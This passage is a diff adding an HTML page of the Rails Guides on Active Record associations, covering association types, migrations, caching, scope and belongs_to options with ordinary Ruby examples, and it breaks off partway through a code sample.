+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>A Guide to Active Record Associations</h2>
+<p>This guide covers the association features of Active Record. By referring to this guide, you will be able to:</p>
+<ul>
+	<li>Declare associations between Active Record models</li>
+	<li>Understand the various types of Active Record associations</li>
+	<li>Use the methods added to your models by creating associations</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#why-associations">Why Associations?</a></li><li><a href="#the-types-of-associations">The Types of Associations</a><ul><li><a href="#the-belongs_to-association">The <tt>belongs_to</tt> Association</a></li> <li><a href="#the-has_one-association">The <tt>has_one</tt> Association</a></li> <li><a href="#the-has_many-association">The <tt>has_many</tt> Association</a></li> <li><a href="#the-has_many-through-association">The <tt>has_many :through</tt> Association</a></li> <li><a href="#the-has_one-through-association">The <tt>has_one :through</tt> Association</a></li> <li><a href="#the-has_and_belongs_to_many-association">The <tt>has_and_belongs_to_many</tt> Association</a></li> <li><a href="#choosing-between-belongs_to-and-has_one">Choosing Between <tt>belongs_to</tt> and <tt>has_one</tt></a></li> <li><a href="#choosing-between-has_many-through-and-has_and_belongs_to_many">Choosing Between <tt>has_many :through</tt> and <tt>has_and_belongs_to_many</tt></a></li> <li><a href="#polymorphic-associations">Polymorphic Associations</a></li> <li><a href="#self-joins">Self Joins</a></li></ul></li><li><a href="#tips-tricks-and-warnings">Tips, Tricks, and Warnings</a><ul><li><a href="#controlling-caching">Controlling Caching</a></li> <li><a href="#avoiding-name-collisions">Avoiding Name Collisions</a></li> <li><a href="#updating-the-schema">Updating the Schema</a></li> <li><a href="#controlling-association-scope">Controlling Association Scope</a></li></ul></li><li><a href="#detailed-association-reference">Detailed Association Reference</a><ul><li><a href="#belongs_to-association-reference"><tt>belongs_to</tt> Association Reference</a></li> <li><a href="#has_one-association-reference"><tt>has_one</tt> Association Reference</a></li> <li><a href="#has_many-association-reference"><tt>has_many</tt> Association Reference</a></li> <li><a href="#has_and_belongs_to_many-association-reference"><tt>has_and_belongs_to_many</tt> Association Reference</a></li> <li><a href="#association-callbacks">Association Callbacks</a></li> <li><a href="#association-extensions">Association Extensions</a></li></ul></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="why-associations">1 Why Associations?</h3>
+<p>Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+end
+
+class Order &lt; ActiveRecord::Base
+end
+</pre>
+</div>
+</notextile>
+
+<p>Now, suppose we wanted to add a new order for an existing customer. We&#8217;d need to do something like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@order = Order.create(:order_date =&gt; Time.now,
+  :customer_id =&gt; @customer.id)
+</pre>
+</div>
+</notextile>
+
+<p>Or consider deleting a customer, and ensuring that all of its orders get deleted as well:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@orders = Order.find_all_by_customer_id(@customer.id)
+@orders.each do |order|
+  order.destroy
+end
+@customer.destroy
+</pre>
+</div>
+</notextile>
+
+<p>With Active Record associations, we can streamline these &#8212; and other &#8212; operations by declaratively telling Rails that there is a connection between the two models. Here&#8217;s the revised code for setting up customers and orders:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :orders, :dependent =&gt; :destroy
+end
+
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer
+end
+</pre>
+</div>
+</notextile>
+
+<p>With this change, creating a new order for a particular customer is easier:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@order = @customer.orders.create(:order_date =&gt; Time.now)
+</pre>
+</div>
+</notextile>
+
+<p>Deleting a customer and all of its orders is <em>much</em> easier:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@customer.destroy
+</pre>
+</div>
+</notextile>
+
+<p>To learn more about the different types of associations, read the next section of this guide. That&#8217;s followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.</p>
+<h3 id="the-types-of-associations">2 The Types of Associations</h3>
+<p>In Rails, an <em>association</em> is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model <tt>belongs_to</tt> another, you instruct Rails to maintain Primary Keyโ€“Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of association:</p>
+<ul>
+	<li><tt>belongs_to</tt></li>
+	<li><tt>has_one</tt></li>
+	<li><tt>has_many</tt></li>
+	<li><tt>has_many :through</tt></li>
+	<li><tt>has_one :through</tt></li>
+	<li><tt>has_and_belongs_to_many</tt></li>
+</ul>
+<p>In the remainder of this guide, you&#8217;ll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.</p>
+<h4 id="the-belongs_to-association">2.1 The <tt>belongs_to</tt> Association</h4>
+<p>A <tt>belongs_to</tt> association sets up a one-to-one connection with another model, such that each instance of the declaring model &#8220;belongs to&#8221; one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you&#8217;d declare the order model this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer
+end
+</pre>
+</div>
+</notextile>
+
+<p><img src="images/belongs_to.png" title="belongs_to Association Diagram" alt="belongs_to Association Diagram" /></p>
+<h4 id="the-has_one-association">2.2 The <tt>has_one</tt> Association</h4>
+<p>A <tt>has_one</tt> association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you&#8217;d declare the supplier model like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Supplier &lt; ActiveRecord::Base
+  has_one :account
+end
+</pre>
+</div>
+</notextile>
+
+<p><img src="images/has_one.png" title="has_one Association Diagram" alt="has_one Association Diagram" /></p>
+<h4 id="the-has_many-association">2.3 The <tt>has_many</tt> Association</h4>
+<p>A <tt>has_many</tt> association indicates a one-to-many connection with another model. You&#8217;ll often find this association on the &#8220;other side&#8221; of a <tt>belongs_to</tt> association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Customer &lt; ActiveRecord::Base
+  has_many :orders
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>The name of the other model is pluralized when declaring a <tt>has_many</tt> association.</p></div>
+<p><img src="images/has_many.png" title="has_many Association Diagram" alt="has_many Association Diagram" /></p>
+<h4 id="the-has_many-through-association">2.4 The <tt>has_many :through</tt> Association</h4>
+<p>A <tt>has_many :through</tt> association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding <em>through</em> a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Physician &lt; ActiveRecord::Base
+  has_many :appointments
+  has_many :patients, :through =&gt; :appointments
+end
+
+class Appointment &lt; ActiveRecord::Base
+  belongs_to :physician
+  belongs_to :patient
+end
+
+class Patient &lt; ActiveRecord::Base
+  has_many :appointments
+  has_many :physicians, :through =&gt; :appointments
+end
+</pre>
+</div>
+</notextile>
+
+<p><img src="images/has_many_through.png" title="has_many :through Association Diagram" alt="has_many :through Association Diagram" /></p>
+<p>The collection of join models can be managed via the <span class="caps">API</span>. For example, if you assign</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+physician.patients = patients
+</pre>
+</div>
+</notextile>
+
+<p>new join models are created for newly associated objects, and if some are gone their rows are deleted.</p>
+<div class='warning'><p>Automatic deletion of join models is direct, no destroy callbacks are triggered.</p></div>
+<p>The <tt>has_many :through</tt> association is also useful for setting up &#8220;shortcuts&#8221; through nested <tt>has_many</tt> associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Document &lt; ActiveRecord::Base
+  has_many :sections
+  has_many :paragraphs, :through =&gt; :sections
+end
+
+class Section &lt; ActiveRecord::Base
+  belongs_to :document
+  has_many :paragraphs
+end
+
+class Paragraph &lt; ActiveRecord::Base
+  belongs_to :section
+end
+</pre>
+</div>
+</notextile>
+
+<h4 id="the-has_one-through-association">2.5 The <tt>has_one :through</tt> Association</h4>
+<p>A <tt>has_one :through</tt> association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding <em>through</em> a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Supplier &lt; ActiveRecord::Base
+  has_one :account
+  has_one :account_history, :through =&gt; :account
+end
+
+class Account &lt; ActiveRecord::Base
+  belongs_to :supplier
+  has_one :account_history
+end
+
+class AccountHistory &lt; ActiveRecord::Base
+  belongs_to :account
+end
+</pre>
+</div>
+</notextile>
+
+<p><img src="images/has_one_through.png" title="has_one :through Association Diagram" alt="has_one :through Association Diagram" /></p>
+<h4 id="the-has_and_belongs_to_many-association">2.6 The <tt>has_and_belongs_to_many</tt> Association</h4>
+<p>A <tt>has_and_belongs_to_many</tt> association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Assembly &lt; ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part &lt; ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+</pre>
+</div>
+</notextile>
+
+<p><img src="images/habtm.png" title="has_and_belongs_to_many Association Diagram" alt="has_and_belongs_to_many Association Diagram" /></p>
+<h4 id="choosing-between-belongs_to-and-has_one">2.7 Choosing Between <tt>belongs_to</tt> and <tt>has_one</tt></h4>
+<p>If you want to set up a 1โ€“1 relationship between two models, you&#8217;ll need to add <tt>belongs_to</tt> to one, and <tt>has_one</tt> to the other. How do you know which is which?</p>
+<p>The distinction is in where you place the foreign key (it goes on the table for the class declaring the <tt>belongs_to</tt> association), but you should give some thought to the actual meaning of the data as well. The <tt>has_one</tt> relationship says that one of something is yours &#8211; that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Supplier &lt; ActiveRecord::Base
+  has_one :account
+end
+
+class Account &lt; ActiveRecord::Base
+  belongs_to :supplier
+end
+</pre>
+</div>
+</notextile>
+
+<p>The corresponding migration might look like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CreateSuppliers &lt; ActiveRecord::Migration
+  def self.up
+    create_table :suppliers do |t|
+      t.string  :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.integer :supplier_id
+      t.string  :account_number
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :accounts
+    drop_table :suppliers
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Using <tt>t.integer :supplier_id</tt> makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using <tt>t.references :supplier</tt> instead.</p></div>
+<h4 id="choosing-between-has_many-through-and-has_and_belongs_to_many">2.8 Choosing Between <tt>has_many :through</tt> and <tt>has_and_belongs_to_many</tt></h4>
+<p>Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use <tt>has_and_belongs_to_many</tt>, which allows you to make the association directly:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Assembly &lt; ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part &lt; ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+</pre>
+</div>
+</notextile>
+
+<p>The second way to declare a many-to-many relationship is to use <tt>has_many :through</tt>. This makes the association indirectly, through a join model:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Assembly &lt; ActiveRecord::Base
+  has_many :manifests
+  has_many :parts, :through =&gt; :manifests
+end
+
+class Manifest &lt; ActiveRecord::Base
+  belongs_to :assembly
+  belongs_to :part
+end
+
+class Part &lt; ActiveRecord::Base
+  has_many :manifests
+  has_many :assemblies, :through =&gt; :manifests
+end
+</pre>
+</div>
+</notextile>
+
+<p>The simplest rule of thumb is that you should set up a <tt>has_many :through</tt> relationship if you need to work with the relationship model as an independent entity. If you don&#8217;t need to do anything with the relationship model, it may be simpler to set up a <tt>has_and_belongs_to_many</tt> relationship (though you&#8217;ll need to remember to create the joining table in the database).</p>
+<p>You should use <tt>has_many :through</tt> if you need validations, callbacks, or extra attributes on the join model.</p>
+<h4 id="polymorphic-associations">2.9 Polymorphic Associations</h4>
+<p>A slightly more advanced twist on associations is the <em>polymorphic association</em>. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here&#8217;s how this could be declared:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Picture &lt; ActiveRecord::Base
+  belongs_to :imageable, :polymorphic =&gt; true
+end
+
+class Employee &lt; ActiveRecord::Base
+  has_many :pictures, :as =&gt; :imageable
+end
+
+class Product &lt; ActiveRecord::Base
+  has_many :pictures, :as =&gt; :imageable
+end
+</pre>
+</div>
+</notextile>
+
+<p>You can think of a polymorphic <tt>belongs_to</tt> declaration as setting up an interface that any other model can use. From an instance of the <tt>Employee</tt> model, you can retrieve a collection of pictures: <tt>@employee.pictures</tt>.</p>
+<p>Similarly, you can retrieve <tt>@product.pictures</tt>.</p>
+<p>If you have an instance of the <tt>Picture</tt> model, you can get to its parent via <tt>@picture.imageable</tt>. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CreatePictures &lt; ActiveRecord::Migration
+  def self.up
+    create_table :pictures do |t|
+      t.string  :name
+      t.integer :imageable_id
+      t.string  :imageable_type
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :pictures
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>This migration can be simplified by using the <tt>t.references</tt> form:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CreatePictures &lt; ActiveRecord::Migration
+  def self.up
+    create_table :pictures do |t|
+      t.string :name
+      t.references :imageable, :polymorphic =&gt; true
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :pictures
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p><img src="images/polymorphic.png" title="Polymorphic Association Diagram" alt="Polymorphic Association Diagram" /></p>
+<h4 id="self-joins">2.10 Self Joins</h4>
+<p>In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Employee &lt; ActiveRecord::Base
+  has_many :subordinates, :class_name =&gt; &quot;Employee&quot;,
+    :foreign_key =&gt; &quot;manager_id&quot;
+  belongs_to :manager, :class_name =&gt; &quot;Employee&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>With this setup, you can retrieve <tt>@employee.subordinates</tt> and <tt>@employee.manager</tt>.</p>
+<h3 id="tips-tricks-and-warnings">3 Tips, Tricks, and Warnings</h3>
+<p>Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:</p>
+<ul>
+	<li>Controlling caching</li>
+	<li>Avoiding name collisions</li>
+	<li>Updating the schema</li>
+	<li>Controlling association scope</li>
+</ul>
+<h4 id="controlling-caching">3.1 Controlling Caching</h4>
+<p>All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+customer.orders                 # retrieves orders from the database
+customer.orders.size            # uses the cached copy of orders
+customer.orders.empty?          # uses the cached copy of orders
+</pre>
+</div>
+</notextile>
+
+<p>But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass <tt>true</tt> to the association call:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+customer.orders                 # retrieves orders from the database
+customer.orders.size            # uses the cached copy of orders
+customer.orders(true).empty?    # discards the cached copy of orders
+                                # and goes back to the database
+</pre>
+</div>
+</notextile>
+
+<h4 id="avoiding-name-collisions">3.2 Avoiding Name Collisions</h4>
+<p>You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of <tt>ActiveRecord::Base</tt>. The association method would override the base method and break things. For instance, <tt>attributes</tt> or <tt>connection</tt> are bad names for associations.</p>
+<h4 id="updating-the-schema">3.3 Updating the Schema</h4>
+<p>Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For <tt>belongs_to</tt> associations you need to create foreign keys, and for <tt>has_and_belongs_to_many</tt> associations you need to create the appropriate join table.</p>
+<h5 id="creating-foreign-keys-for-belongs_to-associations">3.3.1 Creating Foreign Keys for <tt>belongs_to</tt> Associations</h5>
+<p>When you declare a <tt>belongs_to</tt> association, you need to create foreign keys as appropriate. For example, consider this model:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer
+end
+</pre>
+</div>
+</notextile>
+
+<p>This declaration needs to be backed up by the proper foreign key declaration on the orders table:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CreateOrders &lt; ActiveRecord::Migration
+  def self.up
+    create_table :orders do |t|
+      t.datetime :order_date
+      t.string   :order_number
+      t.integer  :customer_id
+    end
+  end
+
+  def self.down
+    drop_table :orders
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>If you create an association some time after you build the underlying model, you need to remember to create an <tt>add_column</tt> migration to provide the necessary foreign key.</p>
+<h5 id="creating-join-tables-for-has_and_belongs_to_many-associations">3.3.2 Creating Join Tables for <tt>has_and_belongs_to_many</tt> Associations</h5>
+<p>If you create a <tt>has_and_belongs_to_many</tt> association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the <tt>:join_table</tt> option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of &#8220;customers_orders&#8221; because &#8220;c&#8221; outranks &#8220;o&#8221; in lexical ordering.</p>
+<div class='warning'><p>The precedence between model names is calculated using the <tt>&lt;</tt> operator for <tt>String</tt>. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables &#8220;paper_boxes&#8221; and &#8220;papers&#8221; to generate a join table name of &#8220;papers_paper_boxes&#8221; because of the length of the name &#8220;paper_boxes&#8221;, but it in fact generates a join table name of &#8220;paper_boxes_papers&#8221; (because the underscore &#8216;_&#8217; is lexicographically <em>less</em> than &#8216;s&#8217; in common encodings).</p></div>
+<p>Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Assembly &lt; ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part &lt; ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+</pre>
+</div>
+</notextile>
+
+<p>These need to be backed up by a migration to create the <tt>assemblies_parts</tt> table. This table should be created without a primary key:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class CreateAssemblyPartJoinTable &lt; ActiveRecord::Migration
+  def self.up
+    create_table :assemblies_parts, :id =&gt; false do |t|
+      t.integer :assembly_id
+      t.integer :part_id
+    end
+  end
+
+  def self.down
+    drop_table :assemblies_parts
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>We pass <tt>:id => false</tt> to <tt>create_table</tt> because that table does not represent a model. That&#8217;s required for the association to work properly. If you observe any strange behaviour in a <tt>has_and_belongs_to_many</tt> association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit.</p>
+<h4 id="controlling-association-scope">3.4 Controlling Association Scope</h4>
+<p>By default, associations look for objects only within the current module&#8217;s scope. This can be important when you declare Active Record models within a module. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module MyApplication
+  module Business
+    class Supplier &lt; ActiveRecord::Base
+       has_one :account
+    end
+
+    class Account &lt; ActiveRecord::Base
+       belongs_to :supplier
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>This will work fine, because both the <tt>Supplier</tt> and the <tt>Account</tt> class are defined within the same scope. But the following will <em>not</em> work, because <tt>Supplier</tt> and <tt>Account</tt> are defined in different scopes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module MyApplication
+  module Business
+    class Supplier &lt; ActiveRecord::Base
+       has_one :account
+    end
+  end
+
+  module Billing
+    class Account &lt; ActiveRecord::Base
+       belongs_to :supplier
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module MyApplication
+  module Business
+    class Supplier &lt; ActiveRecord::Base
+       has_one :account,
+        :class_name =&gt; &quot;MyApplication::Billing::Account&quot;
+    end
+  end
+
+  module Billing
+    class Account &lt; ActiveRecord::Base
+       belongs_to :supplier,
+        :class_name =&gt; &quot;MyApplication::Business::Supplier&quot;
+    end
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<h3 id="detailed-association-reference">4 Detailed Association Reference</h3>
+<p>The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.</p>
+<h4 id="belongs_to-association-reference">4.1 <tt>belongs_to</tt> Association Reference</h4>
+<p>The <tt>belongs_to</tt> association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use <tt>has_one</tt> instead.</p>
+<h5 id="methods-added-by-belongs_to">4.1.1 Methods Added by <tt>belongs_to</tt></h5>
+<p>When you declare a <tt>belongs_to</tt> association, the declaring class automatically gains four methods related to the association:</p>
+<ul>
+	<li><tt><em>association</em>(force_reload = false)</tt></li>
+	<li><tt><em>association</em>=(associate)</tt></li>
+	<li><tt>build_<em>association</em>(attributes = {})</tt></li>
+	<li><tt>create_<em>association</em>(attributes = {})</tt></li>
+</ul>
+<p>In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to <tt>belongs_to</tt>. For example, given the declaration:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer
+end
+</pre>
+</div>
+</notextile>
+
+<p>Each instance of the order model will have these methods:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+customer
+customer=
+build_customer
+create_customer
+</pre>
+</div>
+</notextile>
+
+<h6 id="tt-_association_-force_reload-false-tt">4.1.1.1 <tt><em>association_(force</em>reload = false)</tt></h6>
+<p>The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns <tt>nil</tt>.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@customer = @order.customer
+</pre>
+</div>
+</notextile>
+
+<p>If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass <tt>true</tt> as the <tt>force_reload</tt> argument.</p>
+<h6 id="tt-_association_-associate-tt">4.1.1.2 <tt><em>association</em>=(associate)</tt></h6>
+<p>The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object&#8217;s foreign key to the same value.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@order.customer = @customer
+</pre>
+</div>
+</notextile>
+
+<h6 id="belongs_to-build_association">4.1.1.3 <tt>build_<em>association</em>(attributes = {})</tt></h6>
+<p>The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object&#8217;s foreign key will be set, but the associated object will <em>not</em> yet be saved.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@customer = @order.build_customer(:customer_number =&gt; 123,
+  :customer_name =&gt; &quot;John Doe&quot;)
+</pre>
+</div>
+</notextile>
+
+<h6 id="belongs_to-create_association">4.1.1.4 <tt>create_<em>association</em>(attributes = {})</tt></h6>
+<p>The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object&#8217;s foreign key will be set. In addition, the associated object <em>will</em> be saved (assuming that it passes any validations).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+@customer = @order.create_customer(:customer_number =&gt; 123,
+  :customer_name =&gt; &quot;John Doe&quot;)
+</pre>
+</div>
+</notextile>
+
+<h5 id="options-for-belongs_to">4.1.2 Options for <tt>belongs_to</tt></h5>
+<p>In many situations, you can use the default behavior of <tt>belongs_to</tt> without any customization. But despite Rails&#8217; emphasis of convention over customization, you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>belongs_to</tt> association. For example, an association with several options might look like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer, :counter_cache =&gt; true,
+    :conditions =&gt; &quot;active = 1&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>belongs_to</tt> association supports these options:</p>
+<ul>
+	<li><tt>:autosave</tt></li>
+	<li><tt>:class_name</tt></li>
+	<li><tt>:conditions</tt></li>
+	<li><tt>:counter_cache</tt></li>
+	<li><tt>:dependent</tt></li>
+	<li><tt>:foreign_key</tt></li>
+	<li><tt>:include</tt></li>
+	<li><tt>:polymorphic</tt></li>
+	<li><tt>:readonly</tt></li>
+	<li><tt>:select</tt></li>
+	<li><tt>:touch</tt></li>
+	<li><tt>:validate</tt></li>
+</ul>
+<h6 id="belongs_to-autosave">4.1.2.1 <tt>:autosave</tt></h6>
+<p>If you set the <tt>:autosave</tt> option to <tt>true</tt>, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.</p>
+<h6 id="belongs_to-class_name">4.1.2.2 <tt>:class_name</tt></h6>
+<p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is <tt>Patron</tt>, you&#8217;d set things up this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer, :class_name =&gt; &quot;Patron&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="belongs_to-conditions">4.1.2.3 <tt>:conditions</tt></h6>
+<p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by an <span class="caps">SQL</span> <tt>WHERE</tt> clause).</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer, :conditions =&gt; &quot;active = 1&quot;
+end
+</pre>
+</div>
+</notextile>
+
+<h6 id="counter_cache">4.1.2.4 <tt>:counter_cache</tt></h6>
+<p>The <tt>:counter_cache</tt> option can be used to make finding the number of belonging objects more efficient. Consider these models:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer
+end
+class Customer &lt; ActiveRecord::Base
+  has_many :orders
+end
+</pre>
+</div>
+</notextile>
+
+<p>With these declarations, asking for the value of <tt>@customer.orders.size</tt> requires making a call to the database to perform a <tt>COUNT(*)</tt> query. To avoid this call, you can add a counter cache to the <em>belonging</em> model:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
+  belongs_to :customer, :counter_cache =&gt; true
+end
+class Customer &lt; ActiveRecord::Base
+  has_many :orders
+end
+</pre>
+</div>
+</notextile>
+
+<p>With this declaration, Rails will keep the cache value up to date, and then return that value in response to the <tt>size</tt> method.</p>
+<p>Although the <tt>:counter_cache</tt> option is specified on the model that includes the <tt>belongs_to</tt> declaration, the actual column must be added to the <em>associated</em> model. In the case above, you would need to add a column named <tt>orders_count</tt> to the <tt>Customer</tt> model. You can override the default column name if you need to:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Order &lt; ActiveRecord::Base
